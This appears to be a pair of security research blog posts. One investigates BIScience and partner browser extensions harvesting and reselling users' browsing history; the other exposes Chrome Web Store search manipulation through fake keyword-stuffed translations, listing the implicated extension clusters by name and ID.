Unfortunately, when we and other researchers ask Google to enforce these policies, they appear to lean towards giving bad actors the benefit of the doubt and allow the sale of user data obtained under false pretenses.
We have the receipts contracts, emails, and more to prove BIScience and partners transfer and sell user data in a “completely prohibited” manner, primarily for the purpose of “transferring or selling user data to third parties like advertising platforms, data brokers, or other information resellers” with intent to monetize the data.
Urban products (owned by BIScience) appear to provide ad blocking and safe browsing services, both of which may claim the “protect against malware, spam, phishing” exception. Their VPN products (Urban VPN, 1ClickVPN) may claim the “necessary to providing single purpose” exception.
These exceptions are abused by BIScience to collect browsing history data for prohibited purposes, because they also sell this user data to third parties through AdClarity and other BIScience products. There are ways to provide these services without processing raw URLs in servers, therefore they do not need to collect this data. They certainly don’t need to sell it to third parties.
Reputable ad blocking extensions, such as Adblock Plus, perform blocking solely on the client side, without sending every URL to a server. Safe browsing protection can also be performed client side or in a more privacy-preserving manner even when using server-side processing.
Partner third-party extensions collect data under even worse false pretenses. Partners are encouraged by BIScience to implement bogus services that exist solely to collect and sell browsing history to BIScience. These bogus features are only added to claim the Limited Use policy exceptions.
We analyzed several third-party extensions that partner with BIScience. None have legitimate business or technical reasons to collect browsing history and sell it to BIScience.
BIScience provides partner extensions with two integration options: They can add the BIScience SDK to automatically collect data, or partners can send their self-collected data to a BIScience API endpoint or S3 bucket.
The consistent message from the documents and emails provided by BIScience to our sources is essentially this, in our own words: You can integrate our SDK or send us browsing history activity if you make a plausible feature for your existing extension that has nothing to do with your actual functionality that you have provided for years. And here are some lies you can tell CWS to justify the collection.
The SDKs we have observed provide either safe browsing or ad blocking features, which makes it easy for partner extensions to claim the “protect against malware, spam, phishing” exception.
The SDK checks raw URLs against a BIScience service hosted on sclpfybn.com. With light integration work, an extension can allege they offer safe browsing protection or ad blocking. We have not evaluated how effective this safe browsing protection is compared to reputable vendors, but we suspect it performs minimal functionality to pass casual examination. We confirmed this endpoint also collects user data to resell it, which is unrelated to the safe browsing protection.
Whether implemented through the SDK or their own custom integration, the new “features” in partner extensions were completely unrelated to the extension’s existing core functionality. All the analyzed extensions had working core functionality before they added the BIScience integrations.
Let’s look at this illuminating graphic, sent by BIScience to one of our sources:
Notice how the graphic shows raw URLs are sent to BIScience regardless of whether the URL is needed to provide the user functionality, such as safe browsing protection. The step of sending data to BIScience is explicitly outside and separate from the user functionality.
BIScience’s integration guide suggests changes to an extension’s privacy policy in an attempt to comply with laws and Chrome Web Store policies, such as:
Company does not sell or rent your personal data to any third parties. We do, however, need to share your personal data to run our everyday business. We share your personal data with our affiliates and third-party service providers for everyday business purposes, including to:
- Detect and suggest to close malware websites;
- Analytics and Traffic Intelligence
This and other suggested clauses contradict each other or are misleading to users.
Quick fact check:
An astute reader may also notice BIScience considers browsing history data as personal data, given these clauses are meant to disclose transfer of browsing history to BIScience.
BIScience’s contracts with partners require opt-in consent for browsing history collection, but in practice these consents are misleading at best. Each partner must write their own consent prompt, which is not provided by BIScience in the SDK or documentation.
As an example, the extension Visual Effects for Google Meet integrated the BIScience safe browsing SDK to develop a new “feature” that collects browsing history:
We identified other instances of consent prompts that are even more misleading, such as a vague “To continue using our extension, please allow web history access” within the main product interface. This was only used to obtain consent for the BIScience integration and had no other purpose.
When you read the Chrome Web Store privacy disclosures on every extension listing, you might be inclined to believe the extension isn’t selling your browsing history to a third party. Unfortunately, Chrome Web Store allows this if extensions pretend they are collecting “anonymized” browsing history for “legitimate” purposes.
Our hope is that Chrome Web Store closes these loopholes and enforces stricter parts of the existing Limited Use and Single Purpose policies. This would align with the Chrome Web Store principles of Be Safe, Be Honest, and Be Useful.
If they don’t close these loopholes, we want CWS to clarify existing privacy disclosures shown to all users in extension listings. These disclosures are currently insufficient to communicate that user data is being sold under these exceptions.
Browser extension users deserve better privacy and transparency.
If you want to learn more about browser extensions collecting your browsing history for profit:
The Secure Annex blog post publicly disclosed many domains related to BIScience. We have observed additional domains over the years, and have included all the domains below.
We have chosen not to disclose some domains used in custom integrations to protect our sources and ongoing research.
Collection endpoints seen in third-party extensions:
Collection endpoints seen in BIScience-owned extensions and software:
Third-party extensions which have disclosed in their privacy policies that they share raw browsing history with BIScience (credit to Wladimir Palant for identifying these):
Collection endpoints seen in online data, software unknown but likely in third-party software:
Collection endpoint in third-party software, identified in 2019 DataSpii research:
A few months ago I searched for “Norton Password Manager” in Chrome Web Store and got lots of seemingly unrelated results. Not just that, the actual Norton Password Manager was listed last. These search results are still essentially the same today, only that Norton Password Manager moved to the top of the list:
I was stumped how Google managed to mess up search results so badly and even posted the following on Mastodon:
Interesting. When I search for “Norton Password Manager” on Chrome Web Store, it first lists five completely unrelated extensions, and only the last search result is the actual Norton Password Manager. Somebody told me that website is run by a company specializing in search, so this shouldn’t be due to incompetence, right? What is it then?
Somebody suggested that the extensions somehow managed to pay Google for this placement which seems… well, rather unlikely. For reasons, I came back to this a few weeks ago and decided to take a closer look at the extensions displayed there. These seemed shady, with at least three results being former open source extensions (as in: still claiming to be open source but the code repository linked didn’t contain the current state).
And then I somehow happened to see what it looks like when I change Chrome Web Store language:
Now I don’t claim to know Swahili but what happened here clearly wasn’t translating.
Google Chrome is currently available in 55 languages. Browser extensions can choose to support any subset of these languages, even though most of them support exactly one. Not only the extension’s user interface can be translated, its name and short description can be made available in multiple languages as well. Chrome Web Store considers such translations according to the user’s selected language. Chrome Web Store also has an extensive description field which isn’t contained within the extension but can be translated.
Apparently, some extension authors figured out that the Chrome Web Store search index is shared across all languages. If you wanted to show up in the search when people look for your competitors for example, you could add their names to your extension’s description – but that might come across as spammy. So what you do instead is sacrificing some of the “less popular” languages and stuff the descriptions there full of relevant keywords. And then your extension starts showing up for these keywords even when they are entered in the English version of the Chrome Web Store. After all, who cares about Swahili other than maybe five million native speakers?
I’ve been maintaining a Github repository with Chrome extension manifests for a while, uploading new snapshots every now and then. Unfortunately, it only contained English names and descriptions. So now I’ve added a directory with localized descriptions for each extension. With that data, most of the issues became immediately obvious – even if you don’t know Swahili.
Update (2025-01-09): Apparently, Google has already been made aware of this issue a year ago at the latest. Your guess is as good as mine as to why it hasn’t been addressed yet.
Sifting through the suspicious descriptions and weeding out false positives brought up 920 extensions with bogus “translations” so far, and I definitely didn’t get all of them (see the extension lists). But that doesn’t actually mean hundreds of extension developers. I’ve quickly noticed patterns, somebody applying roughly the same strategy to a large cluster of extensions. For example, European developers tended to “sacrifice” some Asian languages like Bengali whereas developers originating in Asia preferred European languages like Estonian. These strategies were distinctly different from each other and there wasn’t a whole lot of them, so there seems to be a relative low number of parties involved. Some I could even put a name on.
One such cluster of extensions has been featured on this blog in 2023 already. Back then I listed 108 of their extensions which was only a small sample of their operations. Out of that original sample, 96 extension remain active in Chrome Web Store. And out of these, 81 extensions are abusing translations to improve their ranking in the extension search. From the look of it, all their developers are speaking Russian now – I guess they are no longer hiring in Ukraine. I’ve expanded on the original list a bit, but attribution is unfortunately too time consuming here. So it’s likely way more than the 122 extensions I now list for this cluster.
Back in 2023 some of these extensions were confirmed to spy on users, commit affiliate fraud or inject ads into web pages. The others seemed benign which most likely meant that they were accumulating users and would turn malicious later. But please don’t mention Kodice LLC, Karbon Project LP, BroCode LTD in the context of malicious extensions and Chrome Web Store spam, they don’t like that. In fact, they sent a bogus DMCA takedown notice in an attempt to remove my article from the search engines, claiming that it violates the copyright of the …checks notes… Hacker News page discussing that very article. So please don’t say that Kodice LLC, Karbon Project LP, BroCode LTD are spamming Chrome Web Store with their extensions which would inevitably turn on their users – they are definitely the good guys … sorry, good bros I mean.
Another extension cluster also appeared on this blog before. Back in 2023 an investigation that started with the PDF Toolbox extension brought up 34 malicious extensions. The extensions contained obfuscated code that was hijacking people’s searches and monetizing them by redirecting to Bing. Not that they were limited to it, they could potentially do way more damage.
Note: The PDF Toolbox extension is long gone from Chrome Web Store and unrelated to the extension with the same name available there now.
Google removed all the extensions I reported back then, but whoever is behind them kept busy of course. I found 107 extensions belonging to the same cluster, out of these 100 extensions are on my list due to abusing translations to improve their ranking. I didn’t have the time to do an in-depth analysis of these extensions, but at least one (not on the list) is again doing search hijacking and not even hiding it. The few others I briefly looked at didn’t have any obvious malicious functionality – yet.
Unfortunately, I haven’t come across many clues towards who is behind these extensions. There is a slight indication that these extensions might be related to the BroCode cluster, but that’s far from certain given the significant differences between the two. One thing is certain however: you shouldn’t believe their user numbers, these have clearly been inflated artificially.
There is one more huge extensions cluster that I investigated in 2023. Back then I gave up without publishing my findings, in part due to Google’s apparent lack of interest in fighting spam in their add-on store. Lots of websites, lots of fake personas and supposed companies that don’t actually exist, occasionally even business addresses that don’t exist in the real world. There are names like LinkedRadar, FindNiche or SellerCenter, and they aren’t spamming only Chrome Web Store but also mobile app stores and search engines for example. This is clearly a big operation, but initially all I could really tell was that this was the work of people speaking Chinese. Was this a bunch of AI enthusiasts looking to make a quick buck and exchanging ideas?
In the hindsight it took me too long to realize that many of the websites run on ZingFront infrastructure and ZingFront employees are apparently involved. Then things started falling into place, with the clues being so obvious: I found BigMData International PTE. LTD. linked to some of the extensions, ZingDeck Intl LTD. responsible for some of the others. Both companies are located at the same address in Singapore and obviously related. And both appear to be subsidiaries of ZingFront Software, an AI startup in Beijing. ZingDeck claims to have 120 employees, which is quite sufficient to flood Chrome Web Store with hundreds of extensions. Being funded by Baidu Ventures certainly helps as well.
Altogether I could attribute 223 extensions on my list to this cluster. For this article I could not really inspect the functionality of these extensions, but it seems that they are being monetized by selling subscriptions to premium functionality. Same seems to be true for the numerous other offers pushed out by these companies.
I asked ZingFront Software for a comment but haven’t heard back from them so far.
The extension clusters ExtensionsBox, Lazytech, Yue Apps, Chrome Extension Hub, Infwiz and NioMaker produce very similar extensions and all seem to be run by Chinese-speaking developers. Some of those might actually be one cluster, or they might all be subdivisions of ZingDeck. Quite frankly, I didn’t want to waste even more time figuring out who is working together and who is competing, so I listed them all separately.
This is a large cluster which I haven’t noticed before. It has hundreds of extensions connected to websites like Free Business Apps, PDFWork, DLLPlayer and many more. It contributed “merely” 55 extensions to my list however because the developers of these extensions generally prefer to avoid awkward situations due to mismatched translations. So instead they force the desired (English) keywords into all translations of the extension’s description. This approach is likely aiming for messing up general search engines and not merely Chrome Web Store search. As it is out of scope for this article, only the relatively rare exceptions made my list here.
It isn’t clear who is behind this cluster of extensions. On the one edge of this cluster I found the Ukraine-based Blife LLC, yet their official extensions aren’t linked to the cluster. I asked the company for comment and got a confirmation of what I’ve already suspected after looking at a bunch of court decisions: a previous developer and co-owner left the company, taking some of the assets with him. He now seems to be involved with at least some of the people running this cluster of extensions.
The other edge of the cluster doesn’t seem to be speaking Russian or Ukrainian however, there are instead weak indications that Farsi-speakers are involved. Here I found the Teheran-based Xino Digital, developing some extensions with weak connections to this cluster. While Xino Digital specializes in “Digital Marketing” and “SEO & Organic Traffic,” they seem to lack the resources for this kind of operation. I asked Xino Digital for a comment but haven’t heard back so far.
While all extensions listed use translations to mess with Chrome Web Store search, a number of different approaches can be distinguished. Most extensions combine a few of the approaches listed below. Some extension clusters use the same approaches consistently, others vary theirs. I’ve linked to the applying approaches from the extension list.
This approach is very popular, likely due to Chrome Web Store search weighting extension name more than its descriptions. So many extensions will use slight variations of their original name depending on the language. Some extensions even go as far as using completely different names, occasionally entirely unrelated to the extension’s purpose – all to show up prominently in searches.
Similarly, some extensions contain different variants of their short description for various languages. The short description typically doesn’t change much and is only used to show up for a bunch of related search keywords. A few extensions replaced their short description for some languages with a list of keywords however.
In some cases I noticed extensions using names of their competitors or other related products. Some would go as far as “rename” themselves into a competing product in some languages. In other cases this approach is made less obvious, e.g. when extension descriptions provide lists of “alternatives” or “compatible extensions.” I haven’t flagged this approach consistently, simply because I don’t always know who the competitors are.
Some extensions have a relatively short and concise English description, yet the “translation” into some other languages is a massive wall of text, often making little sense. Sometimes a translation is present, but it is “extended” with a lengthy English passage. In other scenarios only English text is present. This text only seems to exist to place a bunch of keywords.
Note that translation management in Chrome Web Store is quite messy, so multiple variants of the English translation aren’t necessarily a red flag – these might have simply been forgotten. Consequently, I tried to err in favor of extension authors when flagging this approach.
A very popular approach is taking a translation (or an untranslated English description), then adding a long list of keywords and keyphrases to the end of it in some languages. Often this block is visually separated by a bunch of empty lines, making sure people actually reading the description in this language aren’t too confused.
A more stealthy approach is hiding the keywords within the extension description. Some extensions will use slight variations of the same text, only differing in one or two keywords. Others use automated translations of their descriptions but place a bunch of (typically English) keywords in these translations. Occasionally there is a translation which is broken up by a long list of unrelated keywords.
In a few cases the extension description just looked like a completely unrelated text. Sometimes it seemed to be a copy of a description from a competing extension, other times it made no sense whatsoever.
Looking at Chrome Web Store policy on spam and abuse, the formulation is quite clear:
Developers must not attempt to manipulate the placement of any extensions in the Chrome Web Store.
So Google can and should push back on this kind of manipulation. At the very least, Google might dislike the fact that there are currently at least eleven extensions named “Google Translate” – at least in some languages. In fact, per the same policy Google isn’t even supposed to tolerate spam in Chrome Web Store:
We don’t allow any developer, related developer accounts, or their affiliates to submit multiple extensions that provide duplicate experiences or functionality on the Chrome Web Store.
Unfortunately, Google hasn’t been very keen on enforcing this policy in the past.
There is also a possible technical solution here. By making Chrome Web Store search index per-language, Google could remove the incentives for this kind of manipulation. If search results for Bengali no longer show up in English-language searches, there is no point messing up the Bengali translation any more. Of course, searching across languages is a feature – yet this feature isn’t worth it if Google cannot contain the abuse by other means.
Quite frankly, I feel that Google should go beyond basic containment however. The BroCode and PDF Toolbox clusters are known to produce malicious extensions. These need to be monitored proactively, and the same kind of attention might be worth extending to the other extension clusters as well.
One thing up front: Chrome Web Store is messy. There are copycats, pretenders, scammers. So attribution isn’t always a straightforward affair, and there might occasionally be an extension attributed to one of the clusters which doesn’t belong there. It’s way more common that an extension isn’t sorted into its cluster however, simply because the evidence linking it to the cluster isn’t strong enough, and I only had limited time to investigate.
The user counts listed reflect the state on December 13, 2024.
| Name | Weekly active users | Extension ID | Approaches |
|---|---|---|---|
| What Font - find font & color | 125 | abefllafeffhoiadldggcalfgbofohfa | 1, 2, 4 |
| Video downloader web | 1,000,000 | acmbnbijebmjfmihfinfipebhcmgbghi | 1, 2, 4 |
| Picture in Picture - Floating player | 700,000 | adnielbhikcbmegcfampbclagcacboff | 1, 2, 4 |
| Floating Video Player Sound Booster | 600,000 | aeilijiaejfdnbagnpannhdoaljpkbhe | 1, 2, 4 |
| Sidebarr - ChatGPT, bookmarks, apps and more | 100,000 | afdfpkhbdpioonfeknablodaejkklbdn | 1, 2, 5 |
| Adblock for Youtube™ - Auto Skip ad | 8,000 | anceggghekdpfkjihcojnlijcocgmaoo | 1, 2 |
| Cute Cursors - Custom Cursor for Chrome™ | 1,000,000 | anflghppebdhjipndogapfagemgnlblh | 4 |
| Adblock for Youtube - skip ads | 800,000 | annjejmdobkjaneeafkbpipgohafpcom | 1, 2, 3, 4 |
| Translator, Dictionary - Accurate Translate | 800,000 | bebmphofpgkhclocdbgomhnjcpelbenh | 1, 2, 3, 4 |
| Screen Capture, Screenshot, Annotations | 500,000 | bmkgbgkneealfabgnjfeljaiegpginpl | 1, 2 |
| Sweet VPN | 100,000 | bojaonpikbbgeijomodbogeiebkckkoi | 1, 2 |
| Sound Booster - Volume Control | 3,000,000 | ccjlpblmgkncnnimcmbanbnhbggdpkie | 1, 2, 4, 6 |
| Web Client for Instagram™ - Sidegram | 200,000 | cfegchignldpfnjpodhcklmgleaoanhi | 1, 2 |
| Paint Tool for Chrome | 200,000 | coabfkgengacobjpmdlmmihhhfnhbjdm | 1, 2, 4 |
| History & Cache Cleaner - Smart Clean | 2,000 | dhaamkgjpilakclbgpabiacmndmhhnop | 1, 2 |
| Screenshot & Screen Video Record by Screeny | 2,000,000 | djekgpcemgcnfkjldcclcpcjhemofcib | 1, 2, 4 |
| Video Downloader for U | 3,000,000 | dkbccihpiccbcheieabdbjikohfdfaje | 4 |
| Multi Chat - Messenger for WhatsApp | 2,000,000 | dllplfhjknghhdneiblmkolbjappecbe | 1, 2, 3, 7 |
| Night Shift Mode | 200,000 | dlpimjmonhbmamocpboifndnnakgknbf | 1, 2, 4 |
| Music Downloader - VKsaver | 500,000 | dmbjkidogjmmlejdmnecpmfapdmidfjg | 1, 2, 4 |
| Daily Tab - New tab with ChatGPT | 1,000 | dnbcklfggddbmmnkobgedggnacjoagde | 1, 2, 4 |
| Web Color Picker - online color grabber | 1,000,000 | dneifdhdmnmmlobjbimlkcnhkbidmlek | 1, 3, 4 |
| Paint - Drawings Easy | 300,000 | doiiaejbgndnnnomcdhefcbfnbbjfbib | 1, 2, 4, 6 |
| Block Site - Site Blocker & Focus Mode | 2,000,000 | dpfofggmkhdbfcciajfdphofclabnogo | 1, 2, 3, 4 |
| 2048 Online Classic game | 200,000 | eabhkjojehdleajkbigffmpnaelncapp | 1, 2 |
| Gmail Notifier - gmail notification tool | 100,000 | ealojglnbikknifbgleaceopepceakfn | 6 |
| Volume Recorder Online | 1,000,000 | ebdbcfomjliacpblnioignhfhjeajpch | 1, 2, 4, 6 |
| Volume Booster - Sound & Bass boost | 1,000,000 | ebpckmjdefimgaenaebngljijofojncm | 1, 2, 4, 6 |
| Screenshot Tool - Screen Capture & Editor | 1,000,000 | edlifbnjlicfpckhgjhflgkeeibhhcii | 1, 2, 4, 6 |
| Tabrr Dashboard - New Tab with ChatGPT | 300,000 | ehmneimbopigfgchjglgngamiccjkijh | 6 |
| New Tab for Google Workspace™ | 200,000 | ehpgcagmhpndkmglombjndkdmggkgnge | 1, 4, 5 |
| Equalizer - Bass Booster Master | 200,000 | ejigejogobkbkmkgjpfiodlmgibfaoek | 1, 2, 4, 6 |
| Paint | 300,000 | ejllkedmklophclpgonojjkaliafeilj | 1, 4 |
| Online messengers in All-in-One chat | 200,000 | ekjogkoigkhbgdgpolejnjfmhdcgaoof | 2, 4, 6 |
| Ultimate Video Downloader | 700,000 | elpdbicokgbedckgblmbhoamophfbchi | 2 |
| Translate for Chrome -Translator, Dictionary | 500,000 | elpmkbbdldhoiggkjfpgibmjioncklbn | 1, 2, 3 |
| Color Picker, Eyedropper - Geco colorpick | 2,000,000 | eokjikchkppnkdipbiggnmlkahcdkikp | 1, 2, 3, 4, 6 |
| Dark Mode for Chrome | 1,000,000 | epbpdmalnhhoggbcckpffgacohbmpapb | 1, 2, 4 |
| VPN Ultimate - Best VPN by unblock | 400,000 | epeigjgefhajkiiallmfblgglmdbhfab | 1, 2, 4 |
| Flash Player Enabler | 300,000 | eplfglplnlljjpeiccbgnijecmkeimed | 1, 2 |
| ChitChat - Search with ChatGPT | 2,000,000 | fbbjijdngocdplimineplmdllhjkaece | 1, 2, 3, 4 |
| Simple Volume Booster | 1,000,000 | fbjhgeaafhlbjiejehpjdnghinlcceak | 1, 2, 4, 6 |
| Free VPN for Chrome - VPN Proxy 1click VPN | 8,000,000 | fcfhplploccackoneaefokcmbjfbkenj | 1, 2 |
| InSaverify - Web for Instagram™ | 800,000 | fobaamfiblkoobhjpiigemmdegbmpohd | 1, 2, 4, 6 |
| ChatGPT Assistant - GPT Search | 900,000 | gadbpecoinogdkljjbjffmiijpebooce | 1, 2, 4, 6 |
| Adblock all advertisement - No Ads extension | 700,000 | gbdjcgalliefpinpmggefbloehmmknca | 1, 2, 3, 4 |
| Web Sound Equalizer | 700,000 | gceehiicnbpehbbdaloolaanlnddailm | 1, 2, 4, 6 |
| Screenshot Master: Full Page Capture | 700,000 | ggacghlcchiiejclfdajbpkbjfgjhfol | 1, 2, 4 |
| Dark Theme - Dark mode for Chrome | 900,000 | gjjbmfigjpgnehjioicaalopaikcnheo | 1, 2, 4 |
| Cute Tab - Custom Dashboard | 60,000 | gkdefhnhldnmfnajfkeldcaihahkhhnd | 1 |
| Quick Translate: Reading & writing translator | 100,000 | gpdfpljioapjogbnlpmganakfjcemifk | 1, 2, 4 |
| HD Video Downloader | 800,000 | hjlekdknhjogancdagnndeenmobeofgm | 1, 2 |
| Web Translate - Online translator | 1,000,000 | hnfabcchmopgohnhkcojhocneefbnffg | 1, 2, 3, 4, 6 |
| QR Code Generator | 300,000 | hoeiookpkijlnjdafhaclpdbfflelmci | 1, 2, 4 |
| 2048 Game | 1,000,000 | iabflonngmpkalkpbjonemaamlgdghea | 4 |
| Translator | 100,000 | icchadngbpkcegnabnabhkjkfkfflmpj | 4, 6 |
| Multilanguage Translator | 1,000,000 | ielooaepfhfcnmihgnabkldnpddnnldl | 1, 2, 3, 4, 6 |
| FocusGuard - Block Site & Focus Mode | 400,000 | ifdepgnnjpnbkcgempionjablajancjc | 1, 2, 3, 7 |
| Scrnli - Screen Recorder & Screen Capture App | 1,000,000 | ijejnggjjphlenbhmjhhgcdpehhacaal | 1, 2, 4 |
| Web Paint Tool - draw online | 600,000 | iklgljbighkgbjoecoddejooldolenbj | 1, 2, 4, 5 |
| Screen Recorder and Screenshot Tool | 1,000,000 | imopknpgdihifjkjpmjaagcagkefddnb | 1, 2, 4 |
| Free VPN Chrome extension - Best VPN by uVPN | 1,000,000 | jaoafpkngncfpfggjefnekilbkcpjdgp | 1, 2, 7 |
| Video Downloader Social | 1,000,000 | jbmbplbpgcpooepakloahbjjcpfoegji | 1, 2, 4 |
| Color Picker Online - Eyedropper Tool | 189 | jbnefeeccnjmnceegehljhjonmlbkaji | 1, 2 |
| Volume Booster, equalizer → Audio control | 1,000,000 | jchmabokofdoabocpiicjljelmackhho | 1, 4 |
| PDF Viewer | 1,000,000 | jdlkkmamiaikhfampledjnhhkbeifokk | 1, 2, 4 |
| Adblock Web - Adblocker for Chrome | 300,000 | jhkhlgaomejplkanglolfpcmfknnomle | 1, 2, 3 |
| Adblock Unlimited - Adblocker | 600,000 | jiaopkfkampgnnkckajcbdgannoipcne | 1, 2, 3, 4 |
| Hide YouTube distraction - shorts block | 1,000 | jipbilmidhcobblmekbceanghkdinccc | 1, 2, 3 |
| ChatGPT for Chrome - GPT Search | 700,000 | jlbpahgopcmomkgegpbmopfodolajhbl | 1, 2, 3 |
| Adblock for YouTube™ | 2,000,000 | jpefmbpcbebpjpmelobfakahfdcgcmkl | 1, 2, 3, 4 |
| User Agent Switcher | 100,000 | kchfmpdcejfkipopnolndinkeoipnoia | 1 |
| Speed Test for Chrome - WiFi speedtest | 400,000 | khhnfdoljialnlomkdkphhdhngfppabl | 1, 2, 4, 6 |
| Video Downloader professional | 400,000 | knkpjhkhlfebmefnommmehegjgglnkdm | 1, 2, 4 |
| Quick Translate | 700,000 | kpcdbiholadphpbimkgckhggglklemib | 1, 2, 4, 6 |
| Tab Suspender | 100,000 | laameccjpleogmfhilmffpdbiibgbekf | 1 |
| Adblock for Youtube - ad blocker tool | 800,000 | lagdcjmbchphhndlbpfajelapcodekll | 1, 2, 3, 4 |
| PDF Viewer - open in PDF Reader | 300,000 | ldaohgblglnkmddflcccnfakholmaacl | 1, 2, 4 |
| Moment - #1 Personal Dashboard for Chrome | 200,000 | lgecddhfcfhlmllljooldkbbijdcnlpe | 1 |
| Screen Video Recorder & Screenshot | 400,000 | lhannfkhjdhmibllojbbdjdbpegidojj | 1, 2 |
| Dark Theme - Dark Reader for Web | 1,000,000 | ljjmnbjaapnggdiibfleeiaookhcodnl | 1, 2, 4, 6 |
| Auto Refresh Page - reload page | 500,000 | lkhdihmnnmnmpibnadlgjfmalbaoenem | 1, 2, 4, 6 |
| Flash Player for Web | 800,000 | lkhhagecaghfakddbncibijbjmgfhfdm | 1, 2, 4, 6 |
| INSSAVE - App for Instagram | 100,000 | lknpbgnookklokdjomiildnlalffjmma | 1, 2, 4, 6 |
| Simple Translator, Dictionary, TTS | 1,000,000 | lojpdfjjionbhgplcangflkalmiadhfi | 1, 2, 3, 4, 6 |
| Web paint tool - Drawww | 60,000 | mclgkicemmkpcooobfgcgocmcejnmgij | 6 |
| Adblock for Twitch | 200,000 | mdomkpjejpboocpojfikalapgholajdc | 1, 2, 3, 4 |
| Infinite Dashboard - New Tab like no other | 200,000 | meffljleomgifbbcffejnmhjagncfpbd | 1, 2, 4 |
| ChatGPT Assistant for Chrome - SidebarGPT | 1,000,000 | mejjgaogggabifjfjdbnobinfibaamla | 1, 2 |
| Volume Max - Ultimate Sound Booster | 1,000,000 | mgbhdehiapbjamfgekfpebmhmnmcmemg | 1, 2, 4 |
| Good Video Downloader | 400,000 | mhpcabliilgadobjpkameggapnpeppdg | 4 |
| Video Downloader Unlimited | 1,000,000 | mkjjckchdfhjbpckippbnipkdnlidbeb | 1, 2, 4 |
| ChatGPT for Google: Search GPT | 500,000 | mlkjjjmhjijlmafgjlpkiobpdocdbncj | 1, 2, 4, 6 |
| Translate - Translator, Dictionary, TTS | 1,000,000 | mnlohknjofogcljbcknkakphddjpijak | 1, 2, 3, 4, 5 |
| Web Paint - Page Marker & Editor | 400,000 | mnopmeepcnldaopgndiielmfoblaennk | 1, 2, 4, 6 |
| Auto Refresh & Page Monitor | 1,000,000 | nagebjgefhenmjbjhjmdifchbnbmjgpa | 1, 2, 4 |
| VPN Surf - Fast VPN by unblock | 800,000 | nhnfcgpcbfclhfafjlooihdfghaeinfc | 1, 2, 4 |
| SearchGPT - ChatGPT for Chrome | 2,000,000 | ninecedhhpccjifamhafbdelibdjibgd | 1, 2 |
| Video Speed Controller for HTML videos | 400,000 | nkkhljadiejecbgelalchmjncoilpnlk | 1, 2, 4, 6 |
| Flash Player that Works! | 300,000 | nlfaobjnjbmbdnoeiijojjmeihbheegn | 1, 2, 4, 6 |
| Sound Booster - increase volume up | 1,000,000 | nmigaijibiabddkkmjhlehchpmgbokfj | 1, 2, 4, 6 |
| Voice Reader: Read Aloud Text to Speech (TTS) | 500,000 | npdkkcjlmhcnnaoobfdjndibfkkhhdfn | 1, 2, 4, 5 |
| uTab - Unlimited Custom Dashboard | 200,000 | npmjjkphdlmbeidbdbfefgedondknlaf | 1, 4, 6 |
| Flash Player for Chrome | 600,000 | oakbcaafbicdddpdlhbchhpblmhefngh | 1, 2 |
| Paint Tool by Painty | 400,000 | obdhcplpbliifflekgclobogbdliddjd | 1, 2 |
| Night Shift | 200,000 | ocginjipilabheemhfbedijlhajbcabh | 1, 2 |
| Editor for Docs, Sheets & Slides | 200,000 | oepjogknopbbibcjcojmedaepolkghpb | 1, 2, 6 |
| Accept all cookies | 300,000 | ofpnikijgfhlmmjlpkfaifhhdonchhoi | 1, 2, 3, 4 |
| The Cleaner - delete Cookies and Cache | 100,000 | ogfjgagnmkiigilnoiabkbbajinanlbn | 1, 2 |
| Screenshot & Screen Recorder | 1,000,000 | okkffdhbfplmbjblhgapnchjinanmnij | 1, 2, 4 |
| Cute ColorBook - Coloring Book Online | 9,000 | onhcjmpaffbelbeeaajhplmhfmablenk | 1 |
| What Font - font finder | 400,000 | opogloaldjiplhogobhmghlgnlciebin | 1, 2, 4 |
| Translator - Select to Translate | 1,000,000 | pfoflbejajgbpkmllhogfpnekjiempip | 1, 2, 3, 4, 6 |
| Custom Cursors for Chrome | 800,000 | phfkifnjcmdcmljnnablahicoabkokbg | 1, 2, 4 |
| Color Picker - Eyedropper Tool | 100,000 | phillbeieoddghchonmfebjhclflpoaj | 1, 2, 4, 6 |
| Text mode for websites - ReadBee | 500,000 | phjbepamfhjgjdgmbhmfflhnlohldchb | 1, 2, 4, 6 |
| Dark Mode - Dark Reader for Сhrome | 8,000,000 | pjbgfifennfhnbkhoidkdchbflppjncb | 1, 2, 4, 6 |
| Sound Booster - Boost My Bass | 900,000 | plmlopfeeobajiecodiggabcihohcnge | 1, 2, 4 |
| Sound Booster | 100,000 | pmilcmjbofinpnbnpanpdadijibcgifc | 1, 2, 4 |
| Screen Capture - Screenshot Tool | 700,000 | pmnphobdokkajkpbkajlaiooipfcpgio | 1, 4 |
| Floating Video with Playback Controls | 800,000 | pnanegnllonoiklmmlegcaajoicfifcm | 1, 2 |
| Cleaner - history & cache clean | 100,000 | pooaemmkohlphkekccfajnbcokjlbehk | 1, 2, 4, 6 |
| Name | Weekly active users | Extension ID | Approaches |
|---|---|---|---|
| Stick Ninja Game | 3,000,000 | aamepfadihoeifgmkoipamkenlfpjgcm | 4 |
| Emoboard Emoji Keyboard | 3,000,000 | aapdabiebopmbpidefegdaefepkinidd | 1, 2, 4 |
| Flappy Bird Original | 4,000,000 | aejdicmbgglbjfepfbiofnmibcgkkjej | 1, 2, 4 |
| Superb Copy | 4,000,000 | agdjnnfibbfdffpdljlilaldngfheapb | 1, 2, 4 |
| Super Volume Booster | 1,000,000 | ahddimnokcichfhgpibgbgofheobffkb | 4 |
| Enlargify | 2,000,000 | aielbbnajdbopdbnecilekkchkgocifh | 1, 2, 4 |
| ImgGet | 3,000,000 | anblaegeegjbfiehjadgmonejlbcloob | 1, 2, 4 |
| Blaze VPN for Chrome | 8,000,000 | anenfchlanlnhmjibebhkgbnelojooic | 1, 2, 4 |
| Web Paint Smart | 1,000,000 | baaibngpibdagiocgahmnpkegfnldklp | 1, 2, 4 |
| Click Color Picker | 4,000,000 | bfenhnialnnileognddgkbdgpknpfich | 1, 2, 4 |
| Dino 3D | 3,000,000 | biggdlcjhcjibifefpchffmfpmclmfmk | 1, 2, 4 |
| Soundup Sound Booster | 6,000,000 | bjpebnkmbcningccjakffilbmaojljlb | 1, 2, 7 |
| Yshot | 3,000,000 | bkgepfjmcfhiikfmamakfhdhogohgpac | 1, 2, 4, 7 |
| VidRate | 4,000,000 | bmdjpblldhdnmknfkjkdibljeblmcfoi | 1, 2, 4 |
| Ultra Volume Booster | 3,000,000 | bocmpjikpfmhfcjjpkhfdkclpfmceccg | 1, 2, 4 |
| Supreme Copy | 6,000,000 | cbfimnpbnbgjbpcnaablibnekhfghbac | 1, 2, 4 |
| Lumina Night Mode | 400,000 | ccemhgcpobolddhpebenclgpohlkegdg | 1, 2, 4 |
